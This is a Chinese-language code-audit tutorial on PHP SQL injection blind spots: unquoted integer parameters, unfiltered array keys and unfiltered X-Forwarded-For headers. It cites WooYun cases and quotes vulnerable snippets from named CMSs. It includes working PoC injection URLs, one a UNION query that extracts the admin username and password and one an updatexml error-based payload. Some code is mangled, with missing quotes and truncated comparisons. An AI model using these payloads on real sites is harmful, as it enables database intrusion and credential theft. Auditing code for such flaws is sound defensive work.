0x01 背景 现在的web应用对sql注入的防护基本都是判断gpc是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了get、post但没过滤server或cookie引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~
盲点如下:
①注入点类似id=1这种整型的参数就会完全无视gpc的过滤;
②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
③有时候全局的过滤只过滤掉get、post和cookie,但是没过滤server。
附常见的server变量(具体含义自行百度):query_string,x_forwarded_for,client_ip,http_host,accept_language
0x02 环境搭建 环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~
0x03 漏洞分析 完全无视gpc的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。
1.传入的参数未做intval转换、构造的sql语句没有单引号保护
这个还是比较常见的,当初笔者挖到过一些,乌云案例 http://www.wooyun.org/bugs/wooyun-2010-065605
fetch_array(mysql_query($sql=select * from .$db->tablepre.newstype where newstypeid=.$typeid));//typeid参数存在注入,数字型;?>
获取管理员账户密码的poc:
http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 union select null,(select concat(username,0x23,password) from jdy_admin limit 1),null,
2.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号
有幸在discuz!上看到此类问题,膜拜下雨牛的漏洞 http://www.wooyun.org/bugs/wooyun-2014-079045
简单分析下漏洞原理
首先$itemid经过的第一条sql语句如下
$query = $_sglobal['db']->query('select * from '.tname('spacetags').' where itemid=\''.$itemid.'\' and status=\''.$status.'\'')
$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:
然后后面第二条delete的sql语句如下
$_sglobal['db']->query('delete from '.tname('spacetags').' where itemid='.$itemid.' and tagid in ('.simplode($deletetagidarr).') and status=\''.$status.'\'');
这里忘记加单引号了,根据上图我们可以构造获取数据库用户的poc:
http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#
3.php弱类型语言,判断逻辑错误引发注入
还是雨牛的案例 http://www.wooyun.org/bugs/wooyun-2010-088872
这里只讲下漏洞形成的原理
如上图,弱类型语言在逻辑判断上0$value”,发现如下代码$key被带入了查询
elseif($job=='manage'){ if(!$atc_power)showerr(你没权限); if($rsdb[pages]$value){ $i++; $db->query(update {$pre}reply$erp set orderid=$i where aid='$aid' and rid='$key'); }
构造获取管理员账户密码的poc如下图:
其它案例: http://www.wooyun.org/bugs/wooyun-2014-071516
server变量未过滤 常常发生在获取用户ip并入库的函数上,类似如下代码:
//获取访问者ip(php代码/函数) function get_ip(){ if(getenv(http_client_ip) && strcasecmp(getenv(http_client_ip),unknown)){ $ip=getenv(http_client_ip); }else if (getenv(http_x_forwarded_for) && strcasecmp(getenv(http_x_forwarded_for),unknown)){ $ip=getenv(http_x_forwarded_for); }else if (getenv(remote_addr) && strcasecmp(getenv(remote_addr),unknown)){ $ip=getenv(remote_addr); }else if (isset($_server['remote_addr']) && $_server['remote_addr'] && strcasecmp($_server['remote_addr'],unknown)){ $ip=$_server['remote_addr']; }else{ $ip=unknown ; } return $ip; }
发现通过$_server变量获取客户端ip且可以通过x_forwarded_for伪造,然后这里对x_forwarded_for是没有任何正则处理的,所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。
program/index/receive/login.php处代码为例:
//这里使用get_ip函数获取客户ip$ip=get_ip();//这里入库,所以可以注入了$sql=update .$pdo->index_pre.user set `last_time`='$time',`last_ip`='$ip' where `id`='.$_session['monxin']['id'].';$pdo->exec($sql);$sql=select count(id) as c from .$pdo->index_pre.user_login where `userid`='.$_session['monxin']['id'].';$stmt=$pdo->query($sql,2);$v=$stmt->fetch(2);if($v['c']index_pre.user_login (`userid`,`ip`,`time`,`position`) values ('.$_session['monxin']['id'].','$ip','$time','.get_ip_position($ip).');}else{ $sql=select `id` from .$pdo->index_pre.user_login where `userid`='.$_session['monxin']['id'].' order by time asc limit 0,1; $stmt=$pdo->query($sql,2); $v=$stmt->fetch(2); $sql=update .$pdo->index_pre.user_login set `ip`='$ip',`time`='$time' where `id`='.$v['id'].';}$pdo->exec($sql);
案例: http://www.wooyun.org/bugs/wooyun-2010-0173485
原文地址: http://www.cnbraid.com/2016/04/29/sql5/
